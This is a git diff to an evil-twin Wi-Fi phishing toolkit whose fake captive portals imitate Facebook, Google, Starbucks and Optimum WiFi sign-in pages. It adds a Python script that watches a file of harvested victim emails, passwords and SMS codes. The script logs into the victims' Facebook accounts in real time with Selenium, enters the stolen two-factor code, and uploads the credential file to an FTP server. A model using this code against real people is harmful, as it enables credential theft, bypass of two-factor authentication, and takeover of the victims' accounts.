-
-
- 
- 
- 
-
-
-Login
-
Secure-Wifi
No registration required.
- Login with your social account.
Secure-Wifi
No registration required.
- Login with your social account.
Secure-Wifi
No registration required.
+ Login with your social account.
diff --git a/cliqq-payload/post.php b/cliqq-payload/post.php index 389a37b..d3f7d04 100644 --- a/cliqq-payload/post.php +++ b/cliqq-payload/post.php @@ -1 +1,15 @@ - + + \ No newline at end of file diff --git a/evilTrust.sh b/evilTrust.sh index f1b0a08..bceb511 100755 --- a/evilTrust.sh +++ b/evilTrust.sh @@ -18,7 +18,7 @@ function ctrl_c(){ echo -e "\n\n${yellowColour}[*]${endColour}${grayColour} Exiting...\n${endColour}" rm dnsmasq.conf hostapd.conf 2>/dev/null rm -r iface 2>/dev/null - find \-name datos-privados.txt | xargs rm 2>/dev/null + find \-name datos-privados.json | xargs rm 2>/dev/null sleep 3; ifconfig wlan0mon down 2>/dev/null; sleep 1 iwconfig wlan0mon mode monitor 2>/dev/null; sleep 1 ifconfig wlan0mon up 2>/dev/null; airmon-ng stop wlan0mon > /dev/null 2>&1; sleep 1 @@ -73,7 +73,7 @@ function getCredentials(){ echo -e "\n${yellowColour}[*]${endColour}${grayColour} Esperando credenciales (${endColour}${redColour}Ctr+C para finalizar${endColour}${grayColour})...${endColour}\n${endColour}" for i in $(seq 1 60); do echo -ne "${redColour}-"; done && echo -e "${endColour}" echo -e "${redColour}Víctimas conectadas: ${endColour}${blueColour}$activeHosts${endColour}\n" - find \-name datos-privados.txt | xargs cat 2>/dev/null + find \-name datos-privados.json |xargs python -m json.tool 2>/dev/null for i in $(seq 1 60); do echo -ne "${redColour}-"; done && echo -e "${endColour}" activeHosts=$(bash utilities/hostsCheck.sh | grep -v "192.168.1.1 " | wc -l) sleep 3; clear @@ -381,4 +381,4 @@ if [ "$(id -u)" == "0" ]; then else echo -e "\n${redColour}[!] Es necesario ser root para ejecutar la herramienta${endColour}" exit 1 -fi +fi \ No newline at end of file diff --git a/facebook-autologin.py b/facebook-autologin.py new file mode 100644 index 0000000..2ede2f1 --- /dev/null +++ b/facebook-autologin.py @@ -0,0 +1,146 @@ +from selenium import webdriver +import time +import sys +import json +import os +import time +import hashlib +import ftplib + +def find(name, path): + for root, dirs, files in os.walk(path): + if name in files: + return os.path.join(root, name) + return False + +def md5(fname): + hash_md5 = hashlib.md5() + with open(fname, "rb") as f: + for chunk in iter(lambda: f.read(4096), b""): + hash_md5.update(chunk) + return hash_md5.hexdigest() + +def is_ftp(): + return int(len(sys.argv)) == int(2) and sys.argv[1] == 'ftp' + +def upload_file(path_file, file_name, server, user, passwd): + print("uploading file " + file_name +'.json') + session = ftplib.FTP(server, user, passwd) + file = open(path_file,'rb') # file to send + session.storbinary('STOR '+file_name+'.json', file) # send the file + file.close() # close file and FTP + session.quit() + +def check_ftp_connection(server, user, passwd): + try: + session = ftplib.FTP(server, user, passwd) + session.quit() + + return True + except: + return False + +if is_ftp(): + server_ftp = input('FTP SERVER:') + user_ftp = input('FTP USER:') + pass_ftp = input('FTP PASSWORD:') + ftp_file_name = input("Name of the file to Upload ('victims' by default PRESSING ENTER) : ") or "victims" + + if check_ftp_connection(server_ftp, user_ftp, pass_ftp): + print("FTP Login Successful, wait") + time.sleep(2) + else: + print("FTP Login Error, check credentials and rerun script") + sys.exit() + + +print(""" +88888888b .d888888 a88888b. 88888888b 888888ba .88888. .88888. dP dP + 88 d8' 88 d8' `88 88 88 `8b d8' `8b d8' `8b 88 .d8' +a88aaaa 88aaaaa88a 88 a88aaaa a88aaaa8P' 88 88 88 88 88aaa8P' + 88 88 88 88 88 88 `8b. 88 88 88 88 88 `8b. + 88 88 88 Y8. .88 88 88 .88 Y8. .8P Y8. .8P 88 88 + dP 88 88 Y88888P' 88888888P 88888888P `8888P' `8888P' dP dP + + + .d888888 dP dP d888888P .88888. dP .88888. .88888. dP 888888ba +d8' 88 88 88 88 d8' `8b 88 d8' `8b d8' `88 88 88 `8b +88aaaaa88a 88 88 88 88 88 88 88 88 88 88 88 88 +88 88 88 88 88 88 88 88888888 88 88 88 88 YP88 88 88 88 +88 88 Y8. .8P 88 Y8. .8P 88 Y8. .8P Y8. .88 88 88 88 +88 88 `Y88888P' dP `8888P' 88888888P `8888P' `88888' dP dP dP + + +Esperando contraseñas de las victimas, no cierres el script ... + + - By BorjaGalisteo + """) + +first_time = True +victims_count = 0 + +while True: + while True: + time.sleep(2) + file = find('datos-privados.json','../') + if file != False: + if first_time: + first_time = False + hash_file = md5(file) + break + else: + if hash_file != md5(file): + hash_file = md5(file) + break + + + + with open(file) as f: + victims = json.load(f) + + + if len(victims) == victims_count: + print("La victima puso el SMS code") + + if is_ftp(): + upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp) + + for hour in victims: + data = victims[hour] + sms_code = data['sms'] + + time.sleep(2) + second_fa_input = web.find_element_by_xpath('//*[@id="approvals_code"]') + second_fa_input.send_keys(sms_code) + web.find_element_by_xpath('//*[@id="checkpointSubmitButton"]').click() + + print('Aceptamos y pa\' dentro') + continue + else: + print("Nueva Victima encontrada... Abriendo navegador") + if is_ftp(): + upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp) + victims_count = len(victims) + + for hour in victims: + data = victims[hour] + user_facebook = data['email_facebook'] + pawd_facebook = data['password_facebook'] + + web = webdriver.Chrome() + web.get('https://www.facebook.com/') + time.sleep(2) + web.find_element_by_xpath('/html/body/div[3]/div[2]/div/div/div/div/div[3]/button[2]').click() + email = user_facebook + + email_input = web.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div/div/div/div[2]/div/div[1]/form/div[1]/div[1]/input') + + email_input.send_keys(email) + passw = pawd_facebook + time.sleep(3) + pssw_input = web.find_element_by_xpath('//*[@id="pass"]') + + pssw_input.send_keys(passw) + time.sleep(2) + enter = web.find_element_by_css_selector('button.selected') + enter.click() diff --git a/facebook-login/index.php b/facebook-login/index.php index 313fb2f..e3e34a7 100644 --- a/facebook-login/index.php +++ b/facebook-login/index.php @@ -109,7 +109,7 @@ function redirect() { } .login-form input[type="text"] { - color: black; + color: black; border-bottom: none; border-radius: 4px 4px 0 0; padding-bottom: 13px; @@ -117,7 +117,7 @@ function redirect() { } .login-form input[type="password"] { - color: black; + color: black; border-top: none; border-radius: 0 0 4px 4px; box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1); @@ -182,6 +182,7 @@ function redirect() { + diff --git a/facebook-login/portal_2fa/index.php b/facebook-login/portal_2fa/index.php index 81ca150..3b891f8 100644 --- a/facebook-login/portal_2fa/index.php +++ b/facebook-login/portal_2fa/index.php @@ -97,7 +97,7 @@ function redirect() { .login-form input[type="text"], .login-form input[type="password"] { - display: block; + display: block; width: 345px; border: 1px solid #314d89; outline: none; @@ -109,7 +109,7 @@ function redirect() { } .login-form input[type="text"] { - color: black; + color: black; border-bottom: none; border-radius: 4px 4px 0 0; padding-bottom: 13px; @@ -117,7 +117,7 @@ function redirect() { } .login-form input[type="password"] { - color: black; + color: black; border-top: none; border-radius: 0 0 4px 4px; box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1); @@ -181,6 +181,7 @@ function redirect() { + diff --git a/facebook-login/portal_2fa/post.php b/facebook-login/portal_2fa/post.php index 389a37b..fff443f 100644 --- a/facebook-login/portal_2fa/post.php +++ b/facebook-login/portal_2fa/post.php @@ -1 +1,18 @@ - + $credential) { + $new_credentials[$uuid_credential] = $credential; + if ($uuid == $uuid_credential) { + $new_credentials[$uuid]['sms'] = $_POST['2fa_facebook']; + } + } + +file_put_contents($file,json_encode($new_credentials)); + +?> \ No newline at end of file diff --git a/facebook-login/post.php b/facebook-login/post.php index 220df47..3f20e6f 100644 --- a/facebook-login/post.php +++ b/facebook-login/post.php @@ -1 +1,14 @@ - + diff --git a/google-login/index.php b/google-login/index.php index 0738de6..9085c8f 100644 --- a/google-login/index.php +++ b/google-login/index.php @@ -36,6 +36,7 @@ function redirect() { +
diff --git a/google-login/portal_2fa/index.php b/google-login/portal_2fa/index.php index 014a2f5..15bc735 100644 --- a/google-login/portal_2fa/index.php +++ b/google-login/portal_2fa/index.php @@ -35,6 +35,7 @@ function redirect() { + diff --git a/google-login/portal_2fa/post.php b/google-login/portal_2fa/post.php index f5ae524..d2387ef 100644 --- a/google-login/portal_2fa/post.php +++ b/google-login/portal_2fa/post.php @@ -1 +1,18 @@ - + $credential) { + $new_credentials[$uuid_credential] = $credential; + if ($uuid == $uuid_credential) { + $new_credentials[$uuid]['sms'] = $_POST['2fa_google']; + } + } + +file_put_contents($file,json_encode($new_credentials)); + +?> \ No newline at end of file diff --git a/google-login/post.php b/google-login/post.php index 220df47..3f20e6f 100644 --- a/google-login/post.php +++ b/google-login/post.php @@ -1 +1,14 @@ - + diff --git a/optimumwifi/post.php b/optimumwifi/post.php index 389a37b..d3f7d04 100644 --- a/optimumwifi/post.php +++ b/optimumwifi/post.php @@ -1 +1,15 @@ - + + \ No newline at end of file diff --git a/optimumwifi/signin209b.php b/optimumwifi/signin209b.php index b75eebe..7668054 100644 --- a/optimumwifi/signin209b.php +++ b/optimumwifi/signin209b.php @@ -78,6 +78,7 @@ + diff --git a/optimumwifi/signin5d8f.php b/optimumwifi/signin5d8f.php index c0cb109..d5a8ec6 100644 --- a/optimumwifi/signin5d8f.php +++ b/optimumwifi/signin5d8f.php @@ -77,6 +77,7 @@ + diff --git a/optimumwifi/signin8d07.php b/optimumwifi/signin8d07.php index e3a76e7..a0e78e0 100644 --- a/optimumwifi/signin8d07.php +++ b/optimumwifi/signin8d07.php @@ -78,6 +78,7 @@ + diff --git a/optimumwifi/signince44.php b/optimumwifi/signince44.php index cdf5b69..43c88b1 100644 --- a/optimumwifi/signince44.php +++ b/optimumwifi/signince44.php @@ -76,6 +76,7 @@ + diff --git a/ping.py b/ping.py new file mode 100644 index 0000000..ca9587f --- /dev/null +++ b/ping.py @@ -0,0 +1,22 @@ +import ftplib +import time +import sys +from datetime import datetime +import json + +while True: + current_timestamp = datetime.now().strftime("%d/%m/%Y %H:%M:%S") + print('uploading at:'+current_timestamp) + data = {} + data['alive_at'] = current_timestamp + + with open('ping.json', 'w') as outfile: + json.dump(data, outfile) + + session = ftplib.FTP('server','user','password') + file = open('ping.json','rb') # file to send + session.storbinary('STOR ping.json', file) # send the file + file.close() # close file and FTP + session.quit() + print('uploaded') + time.sleep(30) \ No newline at end of file diff --git a/starbucks-login/index.php b/starbucks-login/index.php index 20c531e..c22f9ac 100644 --- a/starbucks-login/index.php +++ b/starbucks-login/index.php @@ -144,6 +144,7 @@ function redirect() { +